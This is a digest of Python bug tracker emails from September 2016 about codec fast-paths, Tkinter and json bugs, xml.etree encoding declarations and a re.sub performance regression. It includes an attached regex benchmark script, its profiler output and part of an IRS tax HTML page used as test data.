_______________________________________

From report at bugs.python.org  Fri Sep  2 06:19:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 10:19:34 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
Message-ID: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The "us-ascii" encoding is an alias to the Python ASCII encoding. PyUnicode_AsEncodedString() and PyUnicode_Decode() functions have a fast-path for the "ascii" string, but not for "us-ascii".

Attached patch uses also the fast-path for "us-ascii". It's a more generic change than the issue #27915. The "us-ascii" name is common in the email and xml.etree modules.

Other changes of the patch:

* Rewrite _Py_normalize_encoding() as a C implementation of encodings.normalize_encoding(). For example, " utf-8 " is now normalized to "utf_8". So the fast path is now used for more name variants of the same encoding.
* Avoid strcpy() when encoding is NULL: call directly the UTF-8 codec
* Reorder encodings: UTF-8, ASCII, MBCS, Latin1, UTF-16
* Remove fast-path for UTF-32: seriously, nobody uses this codec. Latin9 is much faster but has no fast-path.

----------
components: Interpreter Core, Unicode
files: normalize_encoding.patch
keywords: patch
messages: 274222
nosy: ezio.melotti, haypo, scop, serhiy.storchaka
priority: normal
severity: normal
status: open
title: PyUnicode_AsEncodedString, PyUnicode_Decode: add fast-path for "us-ascii" encoding
type: performance
versions: Python 3.6
Added file: http://bugs.python.org/file44345/normalize_encoding.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:20:34 2016
From: report at bugs.python.org (Goyo)
Date: Fri, 02 Sep 2016 10:20:34 +0000
Subject: [issue27939] Tkinter mainloop raises when setting the value of
 ttk.LabeledScale
Message-ID: <1472811634.57.0.400970918265.issue27939@psf.upfronthosting.co.za>


New submission from Goyo:

Calling mainloop after setting the value of a ttk.LabeledScale raises an error. The same happens if the value is set after entering the mainloop.

Does not affect python 3.4.3. Does not affect ttk.Scale. No error is raised if you do not call mainloop.


import tkinter as tk
import tkinter.ttk as ttk
root = tk.Tk()
w = ttk.LabeledScale(root)
w.pack()
w.scale.set(1)
root.mainloop()

Traceback (most recent call last):
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1550, in __call__
    return self.func(*args)
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\ttk.py", line 1540, in _adjust
    newval = self._variable.get()
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 355, in get
    return self._tk.getint(self._tk.globalgetvar(self._name))
TypeError: getint() argument must be str, not float

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "itcomp.py", line 8, in <module>
    root.mainloop()
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1131, in mainloop
    self.tk.mainloop(n)
  File "d:\users\u938001\AppData\Local\Programs\Python\Python35-32\lib\tkinter\__init__.py", line 1554, in __call__
    self.widget._report_exception()
AttributeError: 'IntVar' object has no attribute '_report_exception'

----------
components: Tkinter
messages: 274223
nosy: goyodiaz
priority: normal
severity: normal
status: open
title: Tkinter mainloop raises when setting the value of ttk.LabeledScale
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27939>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:37:33 2016
From: report at bugs.python.org (Bernard Spil)
Date: Fri, 02 Sep 2016 10:37:33 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1472812653.53.0.440322965941.issue26470@psf.upfronthosting.co.za>


Bernard Spil added the comment:

Sorry for the noise Christian, I thought the former EGD handling was still in place. That was fixed with https://github.com/python/cpython/commit/968ec1d29b44ca7a600df5984adff00a78392368 on 07 Jul 2016

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:41:29 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 02 Sep 2016 10:41:29 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472812889.09.0.0797360477451.issue27928@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It looks that new patch when used like this hashlib.scrypt(b'password') will generate a "an integer is required" exception message which is misleading. I don't test it since I don't get openssl 1.1.

And the phrase "interpreted as buffers of bytes" in the doc may better be "bytes-like objects".

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:42:48 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 10:42:48 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472812968.08.0.712438118279.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> I propose a change to use str() for float objects as well. This could be ported back to 2.7 as well

That would be a behaviour change for 2.7, and an undesirable one. `str` loses precision in Python 2, so e.g., `json.loads(json.dumps(pi)) == pi` would no longer be true. (Indeed, the json library was changed to use `repr` rather than `str` for floats at some point in the past, for exactly this reason.)

I assume that dbus.Double is a subclass of float. Is that correct? If that's the case, I'm a bit confused: `float.__repr__` behaves identically to `float.__str__` in Python versions >= 3.2, so I don't see what your suggested change would achieve.

>>> class MyFloat(float):
...     def __repr__(self): return "MyFloat(something_or_other)"
...     def __str__(self): return "1729.0"
... 
>>> x = MyFloat(2.3)
>>> import json
>>> json.dumps(x)
'2.3'

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 06:57:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 10:57:59 +0000
Subject: [issue27940] xml.etree: Avoid XML declaration for the "ascii" encoding
Message-ID: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The ElementTree module (xml.etree) avoids the XML declaration for "utf-8" and "us-ascii" codecs, but not for the "ascii" encoding.

Attached patch avoids the XML declaration for the "ascii" codec since it's a subset of UTF-8 and UTF-8 is the default encoding of XML.

The patch also normalizes the encoding name to handle aliases like "utf8" (UTF-8) or "us_ascii" (ASCII).

The patch adds unit tests.

--

By the way, I'm surprised that the special encoding "unicode" relies on the *current* locale encoding when the XML declaration is requested. Why not alway susing UTF-8 for *unicode* instead of the locale encoding?

My unit test tests different locale encodings.

----------
components: XML
files: etree_xml_declaration.patch
keywords: patch
messages: 274227
nosy: haypo
priority: normal
severity: normal
status: open
title: xml.etree: Avoid XML declaration for the "ascii" encoding
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44346/etree_xml_declaration.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:00:26 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 11:00:26 +0000
Subject: [issue27940] xml.etree: Avoid XML declaration for the "ascii" encoding
In-Reply-To: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>
Message-ID: <1472814026.43.0.912922769639.issue27940@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Note: I found the "us-ascii" special case when reviewing the issue #27915 which proposed to replace "us-ascii" with "ascii" in the xml.etree module to use the Python fast-path for performance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:00:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 11:00:33 +0000
Subject: [issue27915] Use 'ascii' instead of 'us-ascii' to bypass lookup
 machinery
In-Reply-To: <1472656129.69.0.589278825642.issue27915@psf.upfronthosting.co.za>
Message-ID: <1472814033.92.0.238003843243.issue27915@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It looks like the email module has a special usage of the "us-ascii" encoding name. It's not just an alias to "ascii". So I proposed a patch implementing the fast-path differently in the Python builtin codecs: see my issue #27938.

The xml.etree module has special cases for the "us-ascii" encoding name, but not for "ascii". See the ElementTree.write() method. I proposed to also skip the XML declaration by default when "ascii" encoding is used: issue #27940.

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27915>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:04:35 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 11:04:35 +0000
Subject: [issue24648] Allocation of values array in split dicts should use
 small object allocator.
In-Reply-To: <1437080324.24.0.647779902092.issue24648@psf.upfronthosting.co.za>
Message-ID: <1472814275.32.0.831901838655.issue24648@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24648>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:10:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 11:10:06 +0000
Subject: [issue27456] asyncio: set TCP_NODELAY flag by default
In-Reply-To: <1467732468.65.0.201519937735.issue27456@psf.upfronthosting.co.za>
Message-ID: <1472814606.56.0.779359858138.issue27456@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: TCP_NODELAY -> asyncio: set TCP_NODELAY flag by default

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27456>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:18:40 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Fri, 02 Sep 2016 11:18:40 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472815120.74.0.663961304181.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

> Nope.  You are welcome to give more meaningful names to different combinations of powers of two.

Yes, you're correct here, but what about output? Do all relevant bits have to be named separately? And will the output always talk about separate bits? We have talked about this. If I give meaningful name to 1, 3, 4 and 6, but not to 2, is it supported? And is the repr of 7 an implementation detail, or is it specified?

One more question: in the docs, you say 

> otherwise, all members evaluate as :data:`True`.

I would like you to reconsider the case of `.0` (.NONE in my terminology). Many other things in the interface (e.g. `in` operator) are modelled as if flags instance were just a container (set, in fact) of bits. In that case, empty set _should_ be false. Otherwise, this will be a weird exception to the usual container semantics.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:26:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 02 Sep 2016 11:26:19 +0000
Subject: [issue27940] xml.etree: Avoid XML declaration for the "ascii" encoding
In-Reply-To: <1472813879.44.0.998977479164.issue27940@psf.upfronthosting.co.za>
Message-ID: <1472815578.99.0.818272171214.issue27940@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

> By the way, I'm surprised that the special encoding "unicode" relies on the *current* locale encoding when the XML declaration is requested. Why not alway susing UTF-8 for *unicode* instead of the locale encoding?

Because it is usually outputs to sys.stdout or a file opened with default encoding. Agreed, the current locale encoding is not the best choice. It would be better to look at the encoding attribute of the file and fallback to utf-8 or ascii.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27940>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:37:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 02 Sep 2016 11:37:42 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1472816262.0.0.280428190646.issue27938@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

See also get_standard_encoding() in Python/codecs.c. I suppose it is faster.

UTF-32 is rarely used as external encoding, but it is still used as internal encoding in some programming languages and libraries (e.g. wchar_t* in C and std::wstring in C++ on Linux). The codec itself is very fast. I would add fast path all utf encodings (except utf-7).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:38:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 11:38:39 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <1472816319.38.0.247037755651.issue16334@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Unicode escape encodecs were modified by the issue #25353 to use the _PyBytesWriter API. Sadly, I didn't benchmark my change before pushing it :-/

Your patch basically reverts my change.

> Py3.2        Py3.3        Py3.6        Py3.6+patch
> 195 (+136%)  109 (+323%)  258 (+79%)   461    encode  unicode-escape  'A'*10000
> 391 (+1310%) 333 (+1556%) 575 (+859%)  5514   encode  raw-unicode-escape  'A'*10000

I'm surprised that the revert makes raw-unicode-escape encoder so much faster. Does it mean that the _PyBytesWriter API is so inefficient?

The most efficient case for _PyBytesWriter is when you only call _PyBytesWriter_Alloc() and _PyBytesWriter_Finish() and the output string has exactly the allocated length. It should be the case when 'A'*10000 is encoded, no?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Fri Sep  2 07:45:24 2016
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 02 Sep 2016 11:45:24 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472816724.96.0.659959624905.issue22458@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I've left comments on GitHub.


[scoder] 
> As I said, where ever exact calculations are needed..

Even if the formatting comment is addressed, the main problem with
this benchmark is that *both* fraction and decimal calculations
are in fact exact here.

You can check that by printing out the values for "t" in the loop
like I suggested on GitHub.


This is of course one of the main features of Decimal: If you're
willing to take the penalty of a large precision, calculations
can often be exact; similar to taking the penalty of potentially
huge numerators and denominators in fractions.


So this benchmark cannot be used to show the superiority of exact
fractions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Fri Sep  2 08:08:27 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 02 Sep 2016 12:08:27 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1472818107.69.0.274831477389.issue27921@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

> This looks a little ugly.

True. My goal is to get the simplest possible thing working now, and then before beta 2 fix it so that backslashes again work in the text portions of an f-string. After that, I'll fix this particular piece of code (and the others, plus the tests that can be made to work).

Here's an updated patch. I'm planning on committing it today.

----------
Added file: http://bugs.python.org/file44347/27921-1.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Fri Sep  2 08:09:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 Sep 2016 12:09:14 +0000
Subject: [issue16334] Faster unicode-escape and raw-unicode-escape codecs
In-Reply-To: <1351291705.86.0.638624862326.issue16334@psf.upfronthosting.co.za>
Message-ID: <1472818154.49.0.427751602863.issue16334@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I rebased faster_unicode_escape_4.patch and made tiny changes:

* Rename WRITECHAR macro to WRITE_ASCII_CHAR()
* Add WRITE_CHAR() macro to avoid "goto writechar;"
* Drop the "store" label: use WRITE_CHAR() macro instead, expect that getcode() only returns valid unicode characters (<= MAX_UNICODE)
* For \UHHHHHHHH format: since MAX_UNICODE is 0x10ffff, hardcode the first two digits as 0, and add an assertion on MAX_UNICODE value
* PEP 7: add {...} on if/else blocks

----------
Added file: http://bugs.python.org/file44348/faster_unicode_escape_5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16334>
_______________________________________

From report at bugs.python.org  Fri Sep  2 08:20:35 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 02 Sep 2016 12:20:35 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472818835.18.0.292029719005.issue27934@psf.upfronthosting.co.za>


Changes by Eric V. Smith <eric at trueblade.com>:


----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Thu Sep  1 16:53:00 2016
From: report at bugs.python.org (Steve Newcomb)
Date: Thu, 01 Sep 2016 20:53:00 +0000
Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12
In-Reply-To: <1472575618.81.0.730978536893.issue27898@psf.upfronthosting.co.za>
Message-ID: <25e15524-06ae-5739-bdb0-7dc7ae77371c@coolheads.com>


Steve Newcomb added the comment:

On 08/30/2016 12:46 PM, Raymond Hettinger wrote:
> Raymond Hettinger added the comment:
>
> It would be helpful if you ... make a small set of regular expressions that demonstrate the performance regression.
>
Done.  Attachments:

test.py : Code that exercises re.sub() and outputs a profile report.

test_output_2.7.6.txt : Output of test.py under Python 2.7.6.

test_output_2.7.12.txt : Output of test.py under Python 2.7.12.

p17.188.htm -- test data: public information from the U.S. Internal 
Revenue Service.

Equivalent hardware was used in both cases.

The outputs show that 2.7.12's re.sub() takes 1.2 times as long as 
2.7.6's.  It's a significant difference, but...

...it was not the dramatic degradation I expected to find in this 
exercise.  Therefore I attempted to tease what I was looking for out of 
the profile stats I already uploaded to this site, made from actual 
production runs.  My attempts are all found in an hg repository that can 
be downloaded from 
sftp://sftp at coolheads.com//files/py-re-perform-276-2712 using password 
bysIe20H .

I do not feel the latter work took me where I wanted to go, and I think 
the reason is that, at least for purposes of our application, Python 
2.7.12 has been so extensively refactored since Python 2.7.6.  So it's 
an apples-to-oranges comparison, apparently.  Still, the performance 
difference for re.sub() is quite dramatic , and re.sub() is the only 
comparable function whose performance dramatically worsened: in our 
application, 2.7.12's re.sub() takes 3.04 times as long as 2.7.6's.

The good news, of course, is that by and large the performance of the 
other *comparable* functions largely improved, often dramatically.  But 
at least in our application, it doesn't come close to making up for the 
degradation in re.sub().

My by-the-gut bottom line: somebody who really knows the re module 
should take a deep look at re.sub().  Why would re.sub(), unlike all 
others, take so much longer to run, while *every* other function in the 
re module get (often much) faster?  It feels like there's a bug 
somewhere in re.sub().

Steve Newcomb

----------
Added file: http://bugs.python.org/file44335/test.py
Added file: http://bugs.python.org/file44336/test_output_2.7.6.txt
Added file: http://bugs.python.org/file44337/p17-188.htm
Added file: http://bugs.python.org/file44338/test_output_2.7.12.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27898>
_______________________________________
-------------- next part --------------
#!/usr/bin/env python2

import codecs, profile, os, re, sys

hrefRE = re.compile(
    ''.join(
        [
            r'href=',
            r'(?P<quote>["\'])',
            r'(?P<url>',
                r'.*?',
            r')',
            r'(?=quote)',
        ],
    ),
)
#######################################################
onePathSegmentMS = ''.join(
    [                
        r'(?P<_pathSeg>',
            r'(',
                r'/?',
                r'(',
                    r'(?!',
                        r'[ \t\r\n]+',
                        r'$',
                    r')',
                    u'[^%s]' % ( re.escape( r'/?#')),
                r')+',
            r'|',
                r'/',
            r')',
        r')',
    ],
)
onePathSegmentRE = re.compile( onePathSegmentMS)

#######################################################
uriMS = r''.join(
    (
        r'(?P<leadingWhitespace>',  ## leading whitespace is OK and ignorable; see http://dev.w3.org/html5/spec-LC/urls.html
            r'[ \t\r\n]+',
        r')?',
        r'(',
            r'(?P<scheme>',
                r'https?',  
            r')',
            r':\/{0,2}',   ## accounts for encountered error: only 0 or 1 slash instead of 2
        r')?',
        r'(?P<authority>',
            r'(?P<userinfo>',
                r'(',
                    r'(?P<_userinfo>',
                        r'[^%s]+' % ( re.escape( r'@/[:?#')),
                    r')',
                    re.escape( '@'),
                r')?',
            r')',
            r'(?P<ip>',
                r'(?P<leftIpBracket>',
                    re.escape( r'['),
                r')?',
                r'(',
                    r'(?P<ipv4>',
                        r'(',
                            r'[0-9]{1,3}%s' % ( re.escape( r'.')),
                        r'){3}',
                        r'[0-9]{1,3}',
                    r')',
                r'|',
                    r'(?P<ipv6>',
                        r'(',
                            r'[0-9A-Fa-f]{0,4}%s' % ( re.escape( ':')),
                        r'){1,7}',
                        r'[0-9A-Fa-f]{0,4}',
                    r')',
                r'|',
                    r'(?P<domain>',
                        r'(',
                            r'[^%s]+?' % ( re.escape( r']:/?#')),  ## this may have dots
                            r'\.',
                        r')+',
                        r'(?P<tld>',  ## top-level domain, e.g. "com", "gov" etc.
                            r'(',
                                r'(?!',
                                    r'[ \t\r\n]+',
                                    r'$',
                                r')',
                                r'[^%s]' % ( re.escape( r']:/?#\.')), ## tld: no dots allowed
                            r')+',
                        r')',
                    r')',
                r')',
                r'(?P<rightIpBracket>',
                    re.escape( r']'),
                r')?',
            r')',  ## end of <ip>
            r'(?P<tcpUdpPort>',
                r'(',
                    re.escape( r':'),
                    r'(?P<tcpUdpPortNumber>',
                        r'[0-9]{1,5}',
                    r')',
                r')?',
            r')',
        r')?',  ## authority is optional; it could be a relative URL that starts with a path
        r'(?P<path>',
            r'(',
                onePathSegmentMS,
            r')*',
        r')',
        r'(?P<query>',
            re.escape( r'?',),
            r'(',
                r'(?P<_query>',
                    r'(?!',
                        r'[ \t\r\n]+',
                        r'$',
                    r')',
                    r'[^%s]*' % ( re.escape( r'#')),
                r')',
            r')',
        r')?',
        r'(?P<fragment>',
            r'(',
                re.escape( r'#',),
                r'(?P<_fragment>',
                    r'(?!',
                        r'[ \t\r\n]+',
                        r'$',
                    r')',
                    r'.*',
                r')',
            r')?',
        r')',
        r'(?P<trailingWhitespace>',  ## trailing whitespace is OK and ignorable; see http://dev.w3.org/html5/spec-LC/urls.html
            r'[ \t\r\n]+',
        r')?',
    ),
)
uriRE = re.compile(
    ''.join(
        (
            r'^',
            uriMS,
            r'$',
        ),
    ),
    re.IGNORECASE | re.DOTALL,
)

#######################################################
def uriFunc( MO):
    z = MO.groupdict()
    z[ 'scheme']

#######################################################
def hrefFunc( MO):
    re.sub(
        uriRE,
        uriFunc,
        MO.group( 'url')
    )

#######################################################
def test():
    for iteration in range( 10000):
        re.sub(
            hrefRE,
            hrefFunc,
            text,
        )

#######################################################    
if __name__ == '__main__':
    textFO = codecs.open( 'p17-188.htm', 'r', 'utf-8')
    text = textFO.read()
    textFO.close()
    import cProfile
    cProfile.run( 'test()', '/tmp/profile-%d' % ( os.getpid()))
    import pstats
    p = pstats.Stats( '/tmp/profile-%d' % ( os.getpid()))
    print '\nprofile for Python version %s\n%s\n%s' % (
        '.'.join(
            map(
                str,
                sys.version_info,
            ),
        ),
        ' '.join( os.uname()).strip(),
        open( '/etc/issue', 'r').read().strip(),
    )
#    p.sort_stats( 'cumulative').print_stats( 10)
    p.sort_stats('time').print_stats(10)
    
-------------- next part --------------

profile for Python version 2.7.6.final.0
Linux slk 3.16.0-77-generic #99~14.04.1-Ubuntu SMP Tue Jun 28 19:17:10 UTC 2016 x86_64
Ubuntu 14.04.5 LTS \n \l
Thu Sep  1 15:43:34 2016    /tmp/profile-23959

         50004 function calls in 2.533 seconds

   Ordered by: internal time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
    10000    2.468    0.000    2.468    0.000 {method 'sub' of '_sre.SRE_Pattern' objects}
    10000    0.023    0.000    0.034    0.000 /usr/lib/python2.7/re.py:226(_compile)
    10000    0.021    0.000    2.523    0.000 /usr/lib/python2.7/re.py:144(sub)
        1    0.010    0.010    2.533    2.533 ./test.py:174(test)
    10000    0.006    0.000    0.006    0.000 {method 'get' of 'dict' objects}
    10000    0.006    0.000    0.006    0.000 {isinstance}
        1    0.000    0.000    0.000    0.000 {range}
        1    0.000    0.000    2.533    2.533 <string>:1(<module>)
        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}


-------------- next part --------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
               "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
><html lang="en"
       xml:lang="en"
       xmlns="http://www.w3.org/TR/xhtml1"
 ><head
  ><title
  >Publication 17 - Your Federal Income Tax (For Individuals) - Other
Credits</title
  ><meta content="text/html; charset=US-ASCII"
         http-equiv="CONTENT-TYPE"
  ><meta content="IRS Topic Map"
         name="DESCRIPTION"
  ><meta content="Adoption Credit,Adoption Expenses,Alternative Fuel Vehicle Refueling Property Credit,Alternative Motor Vehicle Credit,Basis Reduction,Carryforward,Certification and Other Requirements,Credit for Qualified Electric Vehicles,Credit to Holders of Tax Credit Bonds,Electric Vehicle Credit,Eligible Child,FTC,Foreign Tax Credit (FTC),Fuel Cell Vehicle,Home Energy Credit,Home Mortgage Interest Deduction Limits,Interest Income,Mortgage Interest Credit,Nonrefundable Credit,Nonrefundable Credit for Prior Year Minimum Tax,Qualified Alternative Fuel Vehicle Refueling Property,Qualified Plug-in Electric Drive Motor Vehicle,Recapturing (Paying Back) a Federal Mortgage Subsidy,Refundable Credit,Residential Energy Credit,Residential Energy Efficient Property Credit,Retirement Savings Contributions Credit,Retirement Savings Contributions Credit (Saver's Credit),Student,What's New in the Publications,Who Qualifies"
         name="KEYWORDS"
  ><link href="../tmap2.css"
         rel="stylesheet"
         type="text/css"
  ><meta content="2016-08-30T15:53:32"
         name="RUNDATE"
  ><meta content="tpcd"
         name="IRS-TAXMAP-APPLICATION"
  ><meta content="2015"
         name="TAX-YEAR"
  ><meta content="guy rack 2015_tpcd_test 39 2126 316"
         name="PRODUCTION-RUN"
  ><meta content="no-cache"
         http-equiv="Pragma"
  >
  <meta content="-1"
        http-equiv="Expires"
  >
 </head
 ><body
  ><a id="top"
  ></a
  >
  <div class="lp"
   ><a href="#rightpane"
    ><img alt="skip navigation"
          class="skipnav"
          src="../../taxmap/graphics/blank.gif"
   ></a
   >
   <a href="../tmhome.htm"
      title="Link to IRS Tax Map Home"
    ><img align="left"
          alt="IRS Tax Map Home"
          border="0"
          class="logo"
          src="../../taxmap/graphics/tax-products2015.jpg"
   ></a
   >
   <br
   >
   <form accept-charset="iso-8859-1"
         action="../../taxmap/TxMpSearch.asp"
         class="searchform"
         method="post"
         name="seek1"
   >
    <label class="searchlabel"
           for="textstring"
    >Tax Map Search:</label
    ><br
    >
    <table border="0"
           cellpadding="0"
           cellspacing="0"
     ><tbody
      ><tr
       ><td
        ><input class="searchtext"
                id="textstring"
                maxlength="200"
                name="textString"
                size="11"
       /></td
       ><td
        ><input class="searchsubmit"
                type="submit"
                value="GO"
       /></td
      ></tr
     ></tbody
    ></table
   ></form
   >
   <div class="lpdiv"
    ><a href="../../taxmap/tmsearch.htm"
    >Search Help</a
    ><br
    >
    <a href="../../taxmap/navhelp.htm"
    >Navigation Help</a
   ></div
   >
   <hr class="lprule"
   >
   <div class="lpdiv"
   >
    <div class="maintopshd"
    >Tax Map Index</div
    >
    <table border="0"
           cellpadding="0"
           cellspacing="0"
           class="tpidx"
     ><tbody
      ><tr
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_a.htm"
        >A</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_b.htm"
        >B</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_c.htm"
        >C</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_d.htm"
        >D</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_e.htm"
        >E</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_f.htm"
        >F</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_g.htm"
        >G</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_h.htm"
        >H</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_i.htm"
        >I</a
       ></td
      ></tr
      ><tr
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_j.htm"
        >J</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_k.htm"
        >K</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_l.htm"
        >L</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_m.htm"
        >M</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_n.htm"
        >N</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_o.htm"
        >O</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_p.htm"
        >P</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_q.htm"
        >Q</a
       ></td
       ><td class="letter"
        ><a class="idxltr"
            href="../../taxmap/nidx0_r.htm"
        >R</a
       ></td
      ></tr
